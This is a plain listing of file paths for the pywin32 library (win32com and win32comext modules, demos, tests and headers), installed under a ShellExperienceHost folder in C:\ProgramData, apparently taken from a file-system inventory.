C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\STACKFRAME.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\UTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\ASPUTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\AXSCRIPT.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\CLIENT\DEBUG.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\CLIENT\ERROR.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\CLIENT\FRAMEWORK.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\CLIENT\PYDUMPER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\CLIENT\PYSCRIPT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\CLIENT\PYSCRIPT_REXEC.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\CLIENT\SCRIPTDISPATCH.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\CLIENT\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\ASP\CAPS.ASP
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\ASP\CREATEOBJECT.ASP
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\ASP\INTERRUPT\TEST.ASP
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\ASP\INTERRUPT\TEST.HTML
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\ASP\INTERRUPT\TEST1.ASP
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\ASP\INTERRUPT\TEST1.HTML
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\ASP\TUT1.ASP
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\CALC.HTM
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\DBGTEST.HTM
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\DEMO.HTM
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\DEMO_CHECK.HTM
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\DEMO_INTRO.HTM
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\DEMO_MENU.HTM
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\DOCWRITE.HTM
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\FOO2.HTM
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\FORM.HTM
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\MARQUEEDEMO.HTM
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\MARQUEETEXT1.HTM
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\MOUSETRACK.HTM
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\IE\PYCOM_BLOWING.GIF
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\WSH\BLANK.PYS
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\WSH\EXCEL.PYS
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\WSH\REGISTRY.PYS
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\DEMOS\CLIENT\WSH\TEST.PYS
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\SERVER\AXSITE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\SERVER\ERROR.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\SERVER\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\TEST\DEBUGTEST.PYS
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\TEST\DEBUGTEST.VBS
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\TEST\LEAKTEST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\TEST\TEST.HTML
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\TEST\TESTHOST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\TEST\TESTHOST4DBG.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXSCRIPT\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\BITS\BITS.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\BITS\TEST\SHOW_ALL_JOBS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\BITS\TEST\TEST_BITS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\BITS\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\DIRECTSOUND\DIRECTSOUND.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\DIRECTSOUND\TEST\DS_RECORD.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\DIRECTSOUND\TEST\DS_TEST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\DIRECTSOUND\TEST\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\DIRECTSOUND\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\IFILTER\DEMO\FILTERDEMO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\IFILTER\IFILTER.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\IFILTER\IFILTERCON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\IFILTER\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\INTERNET\INETCON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\INTERNET\INTERNET.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\INTERNET\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\MAPI\DEMOS\MAPISEND.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\MAPI\EMSABTAGS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\MAPI\EXCHANGE.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\MAPI\MAPI.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\MAPI\MAPITAGS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\MAPI\MAPIUTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\MAPI\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\PROPSYS\PROPSYS.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\PROPSYS\PSCON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\PROPSYS\TEST\TESTPROPSYS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\PROPSYS\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\BROWSE_FOR_FOLDER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\CREATE_LINK.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\DUMP_LINK.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\EXPLORER_BROWSER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\IACTIVEDESKTOP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\IFILEOPERATIONPROGRESSSINK.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\ISHELLLINKDATALIST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\ITRANSFERADVISESINK.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\IUNIFORMRESOURCELOCATOR.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\SERVERS\COLUMN_PROVIDER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\SERVERS\CONTEXT_MENU.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\SERVERS\COPY_HOOK.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\SERVERS\EMPTY_VOLUME_CACHE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\SERVERS\FOLDER_VIEW.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\SERVERS\ICON_HANDLER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\SERVERS\SHELL_VIEW.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\SHELLEXECUTEEX.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\VIEWSTATE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\DEMOS\WALK_SHELL_FOLDERS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\SHELL.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\SHELLCON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\TEST\TESTSHELLFOLDER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\TEST\TESTSHELLITEM.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\TEST\TESTSHFILEOPERATION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\SHELL\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\TASKSCHEDULER\TASKSCHEDULER.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\TASKSCHEDULER\TEST\TEST_ADDTASK.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\TASKSCHEDULER\TEST\TEST_ADDTASK_1.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\TASKSCHEDULER\TEST\TEST_ADDTASK_2.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\TASKSCHEDULER\TEST\TEST_LOCALSYSTEM.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\TASKSCHEDULER\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\BUILD.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\CLSIDTOCLASS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\COMBROWSE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\CONNECT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\DYNAMIC.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\GENCACHE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\GENPY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\MAKEPY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\SELECTTLB.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\TLBROWSE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\UTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\CONNECT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\DUMP_CLIPBOARD.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\EVENTSAPARTMENTTHREADED.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\EVENTSFREETHREADED.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\EXCELADDIN.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\EXCELRTDSERVER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\IEBUTTON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\IETOOLBAR.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\OUTLOOKADDIN.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\TRYBAG.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\HTML
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\INCLUDE\PYTHONCOM.H
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\INCLUDE\PYTHONCOMREGISTER.H
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\INCLUDE\PYTHONCOMSERVER.H
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\LIBS\AXSCRIPT.LIB
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\LIBS\PYTHONCOM.LIB
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\LICENSE.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\MAKEGW\MAKEGW.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\MAKEGW\MAKEGWENUM.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\MAKEGW\MAKEGWPARSE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\MAKEGW\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\OLECTL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\README.HTM
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVERS\DICTIONARY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVERS\INTERP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVERS\PERFMON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVERS\PYTHONTOOLS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVERS\TEST_PYCOMTEST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVERS\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\CONNECT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\DISPATCHER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\EXCEPTION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\FACTORY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\LOCALSERVER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\POLICY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\REGISTER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\UTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\STORAGECON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\DAODUMP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\ERRORSEMANTICS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\GENTESTSCRIPTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\PIPPO.IDL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\PIPPO_SERVER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\POLICYSEMANTICS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\README.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTACCESS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTADOEVENTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTALL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTARRAYS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTAXSCRIPT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTCLIPBOARD.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTCOLLECTIONS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTCONVERSIONERRORS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTDATES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTDCOM.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTDICTIONARY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTDICTIONARY.VBS
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTDYNAMIC.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTEXCHANGE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTEXPLORER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTGATEWAYADDRESSES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTGIT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTINTERP.VBS
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTITERATORS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTMAKEPY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTMARSHAL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTMSOFFICE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTMSOFFICEEVENTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTNETSCAPE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTPERSIST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTPIPPO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTPYCOMTEST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTPYS.SCT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTPYSCRIPTLET.JS
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTROT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTSERVERS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTSHELL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTSTORAGE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTSTREAMS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTVB.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTVBSCRIPT_REGEXP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTWMI.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTXSLT.JS
